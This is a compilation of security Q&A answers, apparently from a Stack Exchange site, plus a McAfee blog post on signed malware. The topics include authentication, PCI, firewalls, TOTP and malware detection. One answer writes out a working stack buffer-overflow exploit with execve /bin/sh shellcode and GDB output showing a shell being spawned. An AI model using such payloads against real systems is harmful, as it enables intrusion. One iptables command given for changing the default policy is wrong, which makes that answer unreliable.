If this is going to be used to maintain physical devices with NFC or USB ports, you may want to consider implementing this with OpenPGP or x509 smartcard for convenience and security.

Revocation comes naturally when the certificate expires, or you can force early expiry by using a revocation list. The devices has to be online to download the latest revocation list or another technician will need to update the revocation list on the device.


Security of a password container in the cloud

Do you really think that you are that much at risk? That's what it comes down to.

As long as you have a good passcode, it is going to be more than enough unless you are expecting ongoing, long-term, government-level aggression.

Make the passcode long and as random as you can while still remembering it.

You could also try to hide the TC file with an innocuous sounding name.

You could go further and require a secondary key using a file such as a particular mp3 but honestly, the more complex you make things, the more likely you are to end up locked out of your own password database which is an even worse (and ultimately more likely) scenario.


Is ransomware that threatens with publication and verifiably deletes upon payment possible?

I don't think it's possible to prove that you DON'T know a piece of information.

This is relevant to your question because in order to guarantee that he won't publish your files after payment is received, the attacker would have to prove that he no longer has the decryption key for your data.

Since there was a moment in time where the attacker did have access to that key (when he encrypted the data on your hard drive), he'd have to credibly prove that he couldn't have made a copy of the key.

There's several moments where he could have done that: First, while exfiltrating your data to his backend, he could have used a covert channel to send a copy of the encryption key from your machine to somewhere else.

Second, he could embed a bit of code into the decryption routine that runs after you pay which would send the decryption key out to him either right then, or at some later time.

Third, he could install a man in the middle between you and his secure enclave, and intercept the traffic between your machine and his enclave. Since his "man in the middle" was actually friendly (to him), he could provide it with the encryption key used to encrypt the traffic between you and his endpoint, and you'd never know, because it wouldn't be part of the code you could audit.

Fourth, even if he gave you proof that the code running in his security enclave was the one he gave you to audit, you'd a) actually have to audit the code, to make sure it didn't somehow leak the key or your data, and b) as long as he sat at the other end of a network connection, how could you ever be sure that what he had on his side actually was a secure enclave with the security guarantees you needed, and not just something masquerading as one? You're probably thinking digital signatures, and I'm thinking "complex system, probably faulty".


Why is the first line of http message unreadable after decryption

In CBC mode the IV is applied after the decryption algorithm with the key is applied to the ciphertext.  Which means that if your key is correct, but your IV is wrong then the first block will come out garbled.  The rest of the decryption will happen correctly since the each IV afterwards is the previous ciphertext (hence the name Cipher Block Chaining).

Here's a picture of the CBC decryption operation from the Wiki page:

Somehow you are incorrectly calculating the IV.


How does "password / keyboard-input protection" work?

It's all a matter of API level: if you intercept an event using a (usually privileged) low-level API, you are then able to hide it to higher (unprivileged) level APIs.

Thus, these two solutions most-likely rely on low-level APIs so intercept keystroke events so they remain undetected to key loggers (hopefully) relying on higher level API.

In the case of BCVE, their own screen seems pretty self-documented and explicitly confirms the technique used, "Anti-Keylogger uses low-level Windows functions":

In this case, the implementation is relatively easy since BCVE can directly use the captured keystrokes destined to itself. The thing is a bit more tricky for Kaspersky since captured keystrokes must then somehow be sent to an HTML form field in a standard browser.

To implement this, Kaspersky injects a JavaScript file in user's web pages. This script then acts as a client and contacts a Kaspersky service running locally. This allows the script to fetch the key strokes as they come and fill the protected input field accordingly, thus effectively bypassing the standard keyboard input stack.

Here is a few information from Kaspersky people confirming this, but it seems that they do not publish a lot of documentation regarding their products internals.


what is a valid challenge for 2 factor authentication?

Two-factor or multi factor authentication is based on three possible forms of authentication:

Something you know which is considered secret (password)
Something you have (token, SMS token, card,...)
Something you are (biometrics)

If either two of these three are combined, you can speak of two-factor authentication. Saying two things you know (such as two passwords or username and password) IS NOT two factor authentication.

You can use as an identifier but you cannot use it as the secret (if you plan to use it as the "password").
Password resets will depend on the procedure in place. It can be the same as with a password, you just get a reset link in your email. This doesn't mean the second factor is altered! The password should preferably not be changed based on another factor of authentication (especially applicable in case of something you have in case of theft).
Yes, but you should ensure that the token is only limited for a certain period.


What is the risk of different responses when a login username matches or not?

While it is true that displaying a different message whether or not the username exist might increase the surface attack, you have to realize that generally :

A username is not a secret

Username are often public (available to anyone that visit the website
ex.: forums)
Username are often email address (public again)
Username are often reused between multiple sites (public again)

There is very few applications were the username is totally secret. Is it your case? Is there no way for anyone else than the user to know his username? But let's look at the risks...

Security Risk

When we are talking about a username/password combo, there is almost no security risk in revealing the username. Some people might argue that you could make yourself vulnerable to brute force attack but it won't work. Why? It's simply because brute force attacks do not work over a network as in most case you will create a denial of service attack before you are able to crack a single password.

Privacy Risk

The one place where it might be critical to keep a username secret might be when the user do not wish to be associated with the service. BUT... If the user really want to stay secret, why doesn't he chooses a username that cannot be linked to him? If I want to keep my identity secret while I'm using a service, common sense tells me that I should not use my real name, real email or real address at least.

Intersting reads about keeping username secrets

Should usernames be kept secret?
http://halfelf.org/2014/username-secret/


How to detect ELSA installation on Windows?

Interesting to note:

  (S) Elsa currently makes no provisions for automatically beaconing or
  exfiltrating collected data off of the target machine. Therefore the
  operator must extract the Elsa log file from the target machine
  through other means.

Otherwise, the same way you would check anything else:

Compare known checksums of the variants of the malware against all files on the hard drive. CIA could potentially use some kind of crypter or other obfuscation of this malware - but they also may not have since the population of targets was probably very low.
Use Autoruns from Microsoft's TechNet site on another computer to examine an offline image/disk of a suspected infected system. ELSA does not appear to be very advanced, so its persistence across reboots relies on very visible techniques like startup tasks/boot time loading of modules.

a. Use known good checksums/digital signatures while examining any items launching alongside the OS.

b. Validate that only programs and drivers from known publishers, whose digital signatures are intact, are loading. If an unsigned file is loaded by a signed file, this is a big and often non-obvious attack surface. Compare the unsigned file against the version published by the manufacturer.
Monitor network traffic of a system for connections to Google's Location Services while no other applications are generating traffic. Since ELSA uses these 3rd party geolocation APIs to generate its logging, it will likely connect to these services at certain intervals. You can probably fully disable the use of these services in your browsers' settings and use the browser normally while watching for these connections, in case ELSA tries to only obtain this information while there is some sort of other traffic being generated by the host.


Determine hashing algorithm only with known input and output

To find out if a salt is used, try to use the hash the same value again (as if it was a "new password"). If you get a distinct output, then there is some non-determinism (aka "a salt"); otherwise, there is no salt.

If the hashing mechanism is meant to be secret, and was done properly, then it is a MAC and you will not be able to rebuild it from analysis of inputs and outputs alone. If it was not done properly, then... anything goes.


Is Python's `secrets` module using the same code as the `random` module?

The motivation is in my opinion pretty clear from PEP 506:

... concerns that Python's standard library makes it too easy for developers to inadvertently make serious security errors ... Although the documentation for the random module explicitly states that the default is not suitable for security purposes [2], it is strongly believed that this warning may be missed, ignored or misunderstood by many Python developers ...

Thus, this is about providing an API which is easy to use and has secure defaults in order to reduce security issues caused by hard to use interfaces with insecure defaults. Therefore this is not a reimplementation, but just an easier and more secure wrapper around existing functionality.


How to rate a CVSS Score if OS/compiler vulnerablity mitigations are highly likely but not guaranteed?

The CIA scores are indications of the impact of a succesful exploitation. The CVSS is meant to rate the severity of the vulnerability, not the risk. So that it's hard to exploit is not sufficiently incorporated in the CVSS, and certainly not in the CIA scores.
So I think this vulnerability has CIA set to P at least. You can set access complexity (AC) to high (H) to indicate that it's hard to exploit.


What key metrics should a CIO rely on to gauge the extent of IT risk exposure?

From the ISACA CGEIT (Certificate in Governance of Enterprise IT) the key categories are:

Respond to business requirements in
alignment with business strategy
Respond to governance requirements
in line with board direction
Ensure satisfaction of end users
with service offerings and service
levels
Optimise the use of information
Create IT agility
Define how business functional and
control requirements are translated
in effective and efficient automated
solutions
Acquire and maintain integrated and
standardised application systems
Acquire and maintain an integrated
and standardised IT infrastructure
Acquire and maintain IT skills that
respond to IT strategy
Ensure mutual satisfaction of third
 party relationships
Ensure seamless integration of
 applications into business
 processes
Ensure transparency and
 understanding of IT cost, benefits,
 strategy, policies and service
 levels
Ensure proper use and performance
 of the applications and technology
 solutions
Account for and protect all IT
 assets
Optimise the IT infrastructure,
     resources and capabilities
Reduce solution and service
 delivery defects and rework
Protect the achievement of IT
 objectives
Establish clarity of business
 impact of risks to IT objectives
 and resources
Ensure that critical and
 confidential information is
 withheld from those who should not
 have access to it
Ensure that automated business
 transactions and information
 exchanges can be trusted
Ensure that IT services and
 infrastructure can properly resist
 and recover from failures due to
 error, deliberate attack or
 disaster
Ensure minimum business impact in
 the event of a IT service
 disruption or change
Make sure that IT services are
 available as required
Improve IT's cost efficiency and
 its contribution to business
 profitability
Deliver projects on time and on
 budget, meeting quality standards
Maintain the integrity of
 information and processing
 infrastructure
Ensure IT compliance with laws,
 regulations and contracts
Ensure that IT demonstrates cost
 efficient service quality,
 continuous improvement and
 readiness for future change

Interestingly, you will see that only nine of those are really to do with IT security, and of those, five are around resilience, so the CIO's view of risk is not the same as an IT security professional's.

So realistically, the stats required would be in reference to:

protecting assets - attacks detected on assets vs successful attacks
access control - breaches of access control, failures to include users in policy etc
trust of automated processes - audit flags, control failures
Ensuring business continuity - successful testing of BC/DR plans
Reduction of impact - cost analysis post attacks (successful or otherwise)
Compliance - audit/regulator findings


PCI Compliance on scanned images of expired cards

PCI DSS doesn't discriminate between expired and active card numbers; it simply says that PAN (the Primary Account Number) being present is what triggers the need for protection:

  The primary account number is the defining factor for cardholder data.
  If cardholder name, service code, and/or expiration date are stored,
  processed or transmitted with the PAN, or are otherwise present in the
  cardholder data environment (CDE), they must be protected in
  accordance with applicable PCI DSS requirements.

You can ask your QSA for an official opinion, but lacking explicit guidance, I suspect most will agree.

An analogous situation would be synthetically generated card numbers (e.g. http://www.getcreditcardnumbers.com/, https://ccardgenerator.com/).  No QSA I've ever dealt with recognized the legitimacy of such card numbers as test data; the card brands do not recognize them as test data.  They are mod-10 legitimate PAN numbers, therefore, they could intersect with a live (issued, non-expired) PAN and are, as such, "real credit card numbers".  The card number itself is the minimum required to make a charge, so PAN is PAN.

The flip side of the coin is - for whatever purpose are you keeping images of decade-old card numbers?  If the data is so useless as to not require protection, what use are you putting it to?  You may wish to re-architect your flow to remove the need for this data.


I am writing this under the assumption that the only thing you don't control is the WiFi network available to you.

Some assumptions:

1) Your company doesn't passively monitor their network - they don't care about VPN tunnels, etc. You're worried about a bored Systems Administrator judging you for browsing My Little Pony fan sites during your break. You can't stand to see the judgy look in their eyes when you run into them at the water cooler.

2) Your company doesn't care if you use their network or not.

3) Your company doesn't care what you do on your device.

4) You don't care who snoops on you, as long as it's not your employers.

These are all big assumptions, but you haven't supplied any information to the contrary. If these assumptions are wrong, some or all of this answer will not be appropriate.

You have a few options:

1) Install a VPN client and connect to a VPN service. This creates an encrypted tunnel between you and the VPN server. You company cannot monitor traffic over a VPN connection.

2) Browse over Tor. Similar to a VPN service, Tor routes your traffic in a way that prevents the local network from snooping on the content you are browsing.

3) Use your phone as a mobile hotspot. Secure this hotspot using a WPA2 passcode. Your company can't eavesdrop on (2|3|4)G connections as that data is encrypted between you and your ISP (in this case, your phone service provider).

With enough time and effort, someone can correlate your observable traffic and other traffic and figure out who you were and what you were doing, but that's not something your employer will spend time and money doing.


Is it cryptographically safe to use veracrypt in a virtualbox virtual machine?

According to this question modern VMs have access to "the CPU instruction RDRAND" which provides high quality random data.
This suggests that yes, you can safely use VeraCrypt inside a VM. However, the significant caveat is that you must trust the host machine. If an attacker has full control over the host machine, they have full control over the VM.


I am the current lead of the OWASP Web Security Testing Guide.
What you are asking for are sinks, which are mostly found in DOM XSS attacks.
Version 4.2 of the guide will be released next week. We have mentioned the term sinks, and to help further with your question, I will add references where possible. In versions to come, the team will add more to the topic to make it easier to read and understand, with more information in them.
Sources are the injection points, sinks take that input and manipulate either in a safe manner or in an abusive manner.
For more on what you're asking, the domxsswiki is a great read.
Update: PR related to this matter


When you have the main module only communicate with the radio module through the security module, the security module could do all communication with the base server signed and encrypted without the main module even noticing it.

But the communication between base server and UAV is not the only attack vector one could think about.

UAVs are often equipped with different kinds of sensors. When you have a vulnerability in interpreting that sensor data in the main module, that would be exploitable (example: trigger an integer overflow when interpreting the brightness level of a photo sensor by pointing a laser at it). And you can forget about also filtering the sensor data through the security module, because the security module can't know what kind of sensor input will trigger a bug in the main module.

The same attack vector applies when there is any malicious data which originates from the base server itself. When the base server isn't trustworthy, the security module won't be able to do anything about it because it doesn't know what malicious activity to look for. This attack vector could also manifest when the base server receives information from some outside source and relays it to the UAV unfiltered.

Also, it would not protect against physical access. An attacker with physical access would be able to place a third chip between main module and encryption module to MITM the unencrypted communication between these two chips (assuming we are talking about two modules which are physically separated and not just logically separated features of the same chip)


Use SSL certificate intended for *.contoso.com on a stand alone server that is not part of contoso.com

I gather you intend to use a wildcard cert for *.mydomain.com across two servers with two public IPs and two different subdomains under the same domain name. This is a common scenario.

Provided that:

The wildcard cert is appropriate for the new server. Which it seems like it is, given that both will share the xyz.mydomain.com convention and this very cert is working properly in your existing server.
You provision the DNS entries to balance the queries as desired (you seem to already have taken that into consideration).

There seems to be no technical impediment for your certificates to work and be accepted.

However, consult your issuer's terms of service to rule out acceptable use policy issues. Wildcard certs are designed for just such a use case, however every vendor can enforce their own terms of service. A quick email to their support should solve this aspect.


Source:http://blogs.mcafee.com/mcafee-labs/signed-malware-you-can-runbut-you-cant-hide

It’s been more than a year since McAfee became an Intel company, and the team and I have been privileged to be a part of designing and developing our DeepSAFE technology, as well as Deep Defender, the first available product that leverages this advancement. Recent threats in the news validate what we’ve been working on, and this blog serves an update to our followers.

Signed Malware Prevalence
Digitally signed malware has received a lot of media attention recently. Indeed more than 200,000 new and unique malware binaries discovered in 2012 have valid digital signatures.
Unique Malicious Binares Discovered With Valid Digital Signatures (cumulative starting Jan 2012)
Source: McAfee Labs Sample Database

Why Sign?
Attackers sign malware in an attempt to trick users and admins into trusting the file, but also in an effort to evade detection by security software and circumvent system policies. Much of this malware is signed with stolen certificates, while other binaries are self-signed or “test signed.” Test signing is sometimes used as part of a social engineering attack.

Test Signing
Test signing is particularly useful to attackers on 64-bit Windows, on which Microsoft enforces driver signing. By default such drivers will not load. However, Microsoft provides developers with the means of disabling this policy, and malware authors have learned to do the same. Rootkits on 64-bit Windows–such as Necurs used by Banker, Advanced PC Shield 2012, and Cridex–use this approach to compromise the operating system. To combat this, Deep Defender Version 1.0.1 blocks test-signed drivers by default, while allowing ePO administrators to selectively exclude in-house kernel driver developer’s systems as necessary.

This is just one layer of protection, of course. Security is about “defense in depth,” from network to silicon. Real-time memory monitoring allows Deep Defender to identify the Necurs rootkit as it attempts to compromise the kernel.

Trying to Hide
Being able to observe transient events in memory allows DeepSAFE to get past obfuscated file views that challenge traditional antivirus solutions.
Case in point is the Mediyes Trojan referenced in the aforementioned press articles. A quick check of our sample database shows more than 7,000 unique binaries in this family. Yet memory rules written over a year ago to cover rootkit techniques are able to proactively identify the latest signed attack, even as a zero day.

After the attacks were known, the certificate was revoked

More to Come
For some time we’ve seen malicious payloads that attempt to steal digital certificates for nefarious purposes, and we are likely seeing the fruits of that labor. With so much malware online, we are sure to see this trend of signed malware continue and increase.
P.S. Deep Defender Version 1.0.1 is currently in beta and is expected to hit the market in Q2. If you’re interested in helping protect the world beyond the OS, we’re hiring.


Should I send the user ID of the user trying to authenticate in a HTTP header when using access token?

Sharing the internal ID of a user with the user himself is not considered a bad practice, many apps do it. Relying on the secrecy of such an ID is, especially if it is autoincremented. This is called security through obscurity.

  Would it be a good idea to send the user id (primary autoincrementing token in my mySQL database) of an account when authenticating with user token? (Happens on each get/post)

This can work, but be aware of the checks you need to make on the server side.

For identification and authentication

Make sure the user ID exists in your app
Make sure the token is valid
Make sure the token belongs to the user id passed with the request

For authorization

Make sure the user, who is now authentication, has access to the requested resource

  I thought it might significantly increase performance when checking for authencity of the token? What do you guys think? Does it reduce security? Is this common practice?

Depending on what authentication scheme you use, you may need to hit the DB anyway. The performance gain if any depends on your use-case. Generally, I would avoid premature optimization. Build the app, measure your bottleneck and if it ever looks like the authentication, authorization needs speeding up, that's when you start thinking.

For your use-case, I would probably go with JWT tokens, where you can encode the user id inside the token. This will take care of the identification and authentication part: as only you can issue such tokens, and the token content cannot be tampered with. Beware, JWT has some limitations when dealing with session management and you still need to deal with authorization!

For alternative authentication methods take a look at the Web Authentication Guide I compiled a while ago.


A "man in the middle", by definition, sees all traffic between the two victims (client and server) and can alter it at will. SSL (HTTPS) defeats MitM, subject to the usual caveats (the client must not trust a rogue CA, the human user must not click through the browser warnings about an invalid server certificate). If a site is HTTPS-only, then the MitM cannot do anything. If the site is HTTP-only, then the MitM can fake and forge and alter and inspect data at will. If the site is partly HTTPS, then the attacker can play with the non-HTTPS parts.

A cookie value is a value sent by the server, stored on the client, and the client sends it back to the server whenever it talks to it. If the cookie was marked as "Secure" and "HttpOnly" then the cookie will be safe from the MitM (at least, as long as no browser vulnerability is exploited): the cookie will be sent only through HTTPS, and the browse won't make it otherwise accessible (malicious Javascript, injected on the non-HTTPS parts of the site, will not be able to read the cookie either). Of course, this also means that the server will not receive the cookie as part of non-HTTPS requests.

It is hard to make a mixed HTTP/HTTPS site which resists MitM attackers, because you then need some very clear notions of security boundaries; and the MitM is in good position to do a lot of harm through the non-HTTPS parts of the site. Though the "Secure" and "HttpOnly" flags can keep your cookie values out of reach of the attacker, Web site security is not all about cookies (coookies are a tool, not a goal). It is altogether much simpler and much more secure to "bite the bullet" and go HTTPS site-wide.


First off, you said you intended to change the default policy, and the command you provided (-A)ppends the rule, leaving the default ACCEPT in place. If you want to change default policy use the following:
iptables -D INPUT DROP

Secondly, there are 3 types of action iptables can take when parsing a packet:

ACCEPT - allow packet to continue as intended.

REJECT - block the packet from moving forward, send an ICMP message back stating that the connection was rejected.

DROP - diacard the packet completely with no notification

Rejecting rule is useful when you want to know that the packet reached the iptables layer and was discarded (which can be helpful when debugging the firewall). It is arguably more secure to use DROP, as in the real world scenario, as the attacker would not get any information on the state of the system ports.


Shellcode doesn't execute and EIP is overwritten

Disclaimer: I am super new to this and wrote this answer to improve my comprehension of buffer-overflows

I think you have 3 problems:

The shell code is missing one byte in the end to be aligned
The shell code is too close to the return pointer
You forgot the jump back to ebp before jumping to your code

My understanding is that even though eip is going to be moved to the address you specified, the stack is going to be at the end your shell code + 4 bytes -- because ret will pop then move it to eip.

Also your problem made me realize something as I was really struggling on the same thing: The stack still moves as it is executing your shell code. If esp is too close to your shell code, push and pop instructions can mess around your own shell code.

What I suggest is then:

Start filling up the buffer to 75% of Nop
Insert shell code
Pad shell code to the nearest byte
Insert the remaining Nop
Insert twice the return pointer -- once for leave and the other for ret

I've tried this with a different shell code:

$> env -i vuln $(python -c 'print "\x90" * 352 + "\x31\xc0\x31\xdb\xb0\x06\xcd\x80\x53\x68/tty\x68/dev\x89\xe3\x31\xc9\x66\xb9\x12\x27\xb0\x05\xcd\x80\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80" + "\x90"*101 + "\x48\xfc\xff\xbf"+"\xf0\xfa\xff\xbf"')
$ id
uid=1001(user) gid=1001(user) groups=1001(user)

Using GDB:

ebp            0xbffffc48       0xbffffc48
esp            0xbffffa30       0xbffffa30

ESP:
0xbffffa30:     0xbffffa4c      0xbffffdda      0xb7fff524      0x00000000
0xbffffa40:     0xb7fff524      0xbffffad0      0xb7fe35c9      0x90909090
0xbffffa50:     0x90909090      0x90909090      0x90909090      0x90909090

EIP:
0x80483ed <main+41>:    leave
0x80483ee <main+42>:    ret
0x80483ef:      nop

Then next instruction:

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc4c       0xbffffc4c

ESP:
0xbffffc4c:     0xbffffaf0      0x00000000      0xbffffcf4      0xbffffd00

EIP:
0x80483ee <main+42>:    ret

We jump to the address in $esp:

ebp            0xbffffaf0       0xbffffaf0
esp            0xbffffc50       0xbffffc50

ESP:
0xbffffc50:     0x00000000      0xbffffcf4      0xbffffd00      0xb7fe1848
0xbffffc60:     0xbffffcb0      0xffffffff      0xb7ffeff4      0x08048234

EIP:
0xbffffaf0:     nop

And let the slide begin:

(gdb) c
Continuing.
Executing new program: /bin/dash
$


Should cookies that contain non sensitive information be encrypted?

Forget about encryption. You are tracking user logins through cookies and the cookies only contain usernames. How much difficult it is for someone to predict someone else's usernames. If you don't encrypt the session information, there is always the threat of someone sniffing the cookie and hijack the session. But in your case I think a user not only can hijack a single session, he can hijack every login session just by changing the username in the cookie. OWASP recommends a session ID of length 128 bits generated through a cryptographically secure Pseudo Random Number Generator (PRNG). Take a look at OWASP session management for further details.

Once you configure the session management according to the OWASP session management guidelines inside your web application code, establish an encrypted tunnel and communicate over the encrypted tunnel. A lot of people use SSL for the login part but as soon as the user is authenticated, communicated reverts back to HTTP. Make sure the cookie is always communicated over the encrypted tunnel as well. If session cookie is in plaintext, a user who sniff the cookie over the network can replay the cookie and gain access to the user account. Firesheep is a tool that demonstrate the exploitation of this vulnerability through a single click.


What is the iptables rule to block all https traffic except to a single ip?

If you just want a single IP then this should do it, in the most retentive way possible:

# iptables -P INPUT DROP
# iptables -P FORWARD DROP
# iptables -P INPUT DROP
# iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED --jump ACCEPT
# iptables -A FORWARD -m conntrack --ctstate ESTABLISHED,RELATED --jump ACCEPT
# iptables -A OUTPUT -m conntrack --ctstate ESTABLISHED,RELATED --jump ACCEPT
# iptables -A INPUT -m conntrack --ctstate INVALID --jump DROP
# iptables -A FORWARD -m conntrack --ctstate INVALID --jump DROP
# iptables -A OUTPUT  -m conntrack --ctstate INVALID --jump DROP

# iptables -A INPUT --in-interface lo --jump ACCEPT
# iptables -A OUTPUT --in-interface lo --jump ACCEPT
# iptables -A INPUT -p tcp -m tcp --source  X.X.X.X/32 --dport 443 -j ACCEPT
# iptables -A INPUT-p tcp -m tcp --source  X.X.X.X/32 --dport 22 -j ACCEPT
# debugging rules to help you set up.
# iptables -A INPUT -j LOG
# iptables -A FORWARD -j LOG
# iptables -A OUTPUT -j LOG

and if you don't care about ipv6 just drop all those too apart from lo.

Basically whatever is accepted for input will be tracked and the output allowed as it is releated.

If you need DNS then this is extra, but if you are able to log in the logs should help you see what you are missing.


Physical Security for USB Keys and Systems-on-a-Stick

The problem with most USB thumb drives is that they stick out a whole lot, but you can buy smaller USB drives that will fit snug against your laptop. The problem is that obviously they will be much smaller capacity, but you'll get that security.

Something like this:

Additionally, since most laptops have this feature anyway, you could use a SD card, since that will fit right into your laptop, not exposing itself at all. A potential thief/attacker would have no idea it's even there unless they nabbed your laptop.


Does the browser still stores the website you visited Private Browsing [incognito Firefox]?

The statement is not untrue but IS possibly misleading.

Certainly files are in fact cached while the in-private session is active, they are then cleared at the end. Of course, we all know this could leave a footprint.

In-private sessions are not really meant to prevent someone from discovering a footprint but more to prevent inadvertent "bleed" between sessions.


What is the expiration time threshold below which LetsEncrypt certificates will auto-renew?

According to certbot documentation:

  This will attempt to renew any
  previously-obtained certificates
  that expire in less than 30 days.


Yes you can use a dedicated ec2 host, but you don’t need to, you can just use the standard ec2 service as part of your architecture. There’s a list of all the services that AWS provides PCI compliance for, helping you reduce your burden, here.

I would look at using a fully managed service like Lambda if you’re building something new, it’ll save you some effort. Also you can check out a suggested architecture here.

If you go into the AWS console then to Artifact manager, you can download the PCI document describing what AWS takes care of for you.

If you’re creating a payment gateway then you have a very steep PCI learning curve ahead of you I’m afraid. It’s worth speaking with a QSA, it’ll save you a lot of time.


White list or black list sanitation for international input?

That's why the character class [[:alnum:]] exists; it includes the characters which are considered valid alphanumerics in the currently active locale.  Of course, that doesn't work well on a web server in the US when someone in Egypt is attempting to provide input through a form - and it doesn't work with punctuation.  But it also doesn't include spaces, and that may be completely irrelevant.

---Edit---
Building on Mark's answer below and using http://www.regular-expressions.info/unicode.html as a reference, one could also use [\p{L}\p{N}] instead of the alnum character class in most common regexp implementations to recognize "all" unicode letters/numbers in all locales known to the regex engine in use.  The choice basically comes down to whether the application doing the comparison knows what locale the input comes from or not.  And, of course, whether the input is expected to be letters and numbers, or something else (proper names sometimes contain punctuation, for example). :)
---Edit---

To more directly answer the question - yes, a whitelist is always preferable.  It's not always practical, though.  Only someone familiar with the specific application can make the call as to what's actually practical.


How does DoH protect against ISP tracking?

Normally DNS traffic is in clear and can easily be sniffed by the ISP (just sniff port 53), making it possible to create user profiles. And not only could the traffic be sniffed but it could also be redirect to the ISP's DNS server in order to give a different answer. This is a typical way to block domains at the ISP level.

DoH uses HTTPS for transport and this way gets the protection of HTTPS against sniffing and traffic modification. Sure the DoH server itself now has all the information and can also provide a different answer, i.e. the ability for profiling and domain blocking did not vanish but it moved to another party. Ideally this party would be more trusted than the ISP though.

  ... maintaining a reverse lookup does not sound prohibitively expensive.

A reverse lookup is of not much use today since often many domains are hosted by the same server (and thus IP) or since they are served by a CDN where even more domains have the same IP address. So there is often only a weak association between the IP address and the domain. A deeper traffic analysis might reveal the hostname from the Host header in case of plain HTTP and from the TLS handshake (server_name extension of ClientHello) in case of HTTPS. But plain HTTP gets less and less used and for HTTPS they are working on hiding the name in the TLS handshake too with Encrypted SNI.

In summary DoH does not solve all privacy problems caused by the ISP. But it is another step to make it harder and more expensive to create user profiles in the hope that the value of the remaining profiling for the ISP is less than the investments needed for the profiling.


The problem is IPsec tunnel mode, which uses the ESP protocol.
ESP doesn't work with NAT for two reasons:

ESP creates a checksum covering the whole packet, including the addresses. If the NAT changes the addresses, the integrity check will fail and the packet will be discarded.
ESP also doesn't use ports. Therefore, NAT will not be able to add them to its translation database. (This doesn't prevent communication, but it does complicate it)

The solution is encapsulate the ESP traffic in UDP.
The NAT can change the UDP addresses because the checksum of UDP is not relied on. The use of udp/4500 also means that the ESP traffic will be limited to a single port, allowing the NAT to add it to the translation dictionary.

For more details, check RFC 3947 and RFC 3948


Mysterious Incoming/Outgoing Packets on my Wireless Connection

This May not be the answer but it won't let me comment.

Sounds like you are concerning about if unauthorized person had access to your network, and according to that you, you trying to Filter MAC Addresses If I am correct, To maybe secure your network? this won't solve your issue as Filtering is not a security feature!

MAC (Media Access Control) or sometimes called physical addresses or hardware addresses. Any device has MAC Address and it can communicate with any router as long as it knows the appropriate pass-phrase. with White-list When a device connects to a router, it always receives a specific IP address if it has a matching MAC address. Else it refuse the connection.

However, MAC address filtering, is more of a network administration feature. It won’t protect you against attackers trying to get onto your network. Therefore, it will allow you to choose which devices are allowed online. Even if necessary to be online * MAC Addresses can be easily spoofed in so many operating system's specially with such nice tool as Kali Linux.

There is tons of packet-sniffer's out there and one of the best is WireShark Where as you said to monitor your network, but the issue still remain if you are not there to monitor it. There is one way around that where you can find a way to set-up network alert to scan and log sniffed packets in certain time of the day or when this alert is triggered somehow according to your preferences.


Please explain Time-step in Time-Based One-Time Password Algorithm

Overview. TOTP is pretty simple and is described pretty well in the RFC you linked to again.  You might want to read through the RFC another time: it's all there.  I'm going to summarize the RFC for you, but you could have gotten all of this yourself by reading the RFC.

Time steps. For example, you asked about what is a timestamp vs a time step.  The first two paragraphs of Section 4.2 define these terms.  As it says there, T is the number of time steps between the initial counter time T0 and the current Unix time.  X is the size of the time step, e.g., 30 seconds.  See the third paragraph of Section 4.2 of the RFC for an example.

Resynchronization. Section 6 describes how resynchronization works.  Read that section for details.

For instance, suppose the client thinks that the current time is 10:01:20 (i.e., 1 minute and 20 seconds after 10 o'clock), and the server thinks that the current time is 10:02:07.  In other words, the server's clock will be 47 seconds forward from the client's.  Let's say for simplicity that the initial time is 10:00:00 (in practice it will be much farther back in the past, but I want to keep the numbers small here), and the time step is 30 seconds.  The client will calculate T as the number of time steps from the starting point, i.e., T = floor(80/30) = 2.  The client will generate a one-time password as HOTP(K, 2).  However, the server's time is different, so the server will compute T' = floor(127/30) = 4, and the server will be expecting the one-time password HOTP(K, 4).  The client's password will not match what the server is expecting.

If the client's one-time password does not match HOTP(K, T'), then the server also checks whether it matches HOTP(K, T'-1) and HOTP(K, T'-2).  In our example above, the client's one-time password does match HOTP(K, T'-2), so the server allows the client to log in successfully.  The server can also tell that the client's clock is about 2 time steps behind the server's, so the server can update its records for that client.  When the client next tries to log in, the server will compute T' based upon an adjusted version of its own clock, adjusted for its estimate of the clock skew.

This is pretty straightforward and standard stuff, and is all explained in Section 6.

Discussion and caveats.  What are you using one-time passwords for?  Be warned that they have a number of drawbacks.  Their most severe limitations is that they are not secure against man-in-the-middle attacks, they are not secure against client-side malware, and they are not secure against phishing attacks.

You might want to consider other means of user authentication, and re-consider whether one-time passwords are the best solution to your particular problem.  The method that is best for you will depend upon your particular application.


Missing 'Key Usage' on a CA certificate: can sign certificates?

You are not incorrect, and neither is Windows.  You're just using different sets of information.

RFC 3280 sec 4.2.1.3 (which was carried into the updates for RFC 5280) says that a CA must include the KU extension in any child CAs.  So any CA which doesn't do so is not following the guidance of RFC 3280.

ITU-T X.509 (2012-10) sec 11.3.2 describes when a certificate is a match against a set of constraints.  And it says:

  keyUsage matches if all of the bits set in the presented value are also set in the key usage extension in the stored
  attribute value, or if there is no key usage extension in the stored attribute value;

(Bold in the original, italic emphasis mine)

So, a CA, under RFC 3280 or RFC 5280, MUST include the extension.  But X.509 says that the chain builder/verifier should consider it valid to be missing.


When can I commit an OpenSSL Certificate (.pem) to source control?

It looks like I have found an answer to my question at serverfault.com:
Server Fault topic

  The SSL certificate file is a lock.
  The SSL certificate key file is its key.

(In retrospect, this should have been obvious to me.)


How wifi sense actually connects to any network?

How does that person connect to my network automatically if he/she is
  not connected to any network in the first place?

From Wi‑Fi Sense FAQ in section What does Wi-Fi sense do?, it says that your friend can connect to your network only after he has   shared at least one network with his contacts.

  How will my Wi-Fi key be sent to that person's machine before even
  connecting to the network?

It comes down from a Microsoft server in encrypted form, and is decrypted behind the scenes.

He won't receive it until he tries to get connected to your network. I think it is better if I quote you directly this from the FAQ I mentioned. It shows how Wi-Fi sense determines available Wi-Fi hotsports to which your friend may connect to your shared network:

  Wi‑Fi Sense has a database of information about open Wi‑Fi
  hotspots—and we update that crowdsourced information based on what
  your PC and other participating customers' PCs tell us about those
  networks. Wi‑Fi Sense analyzes some characteristics of open Wi‑Fi
  networks that other Windows customers have connected to and determines
  if they had a good-quality connection. If enough of them did, those
  networks are added to the database and are suggested by Wi‑Fi Sense.
  You and others then get connected to a suggested network when one of
  them is in range.

The very detailed process is not something Microsoft will publish.


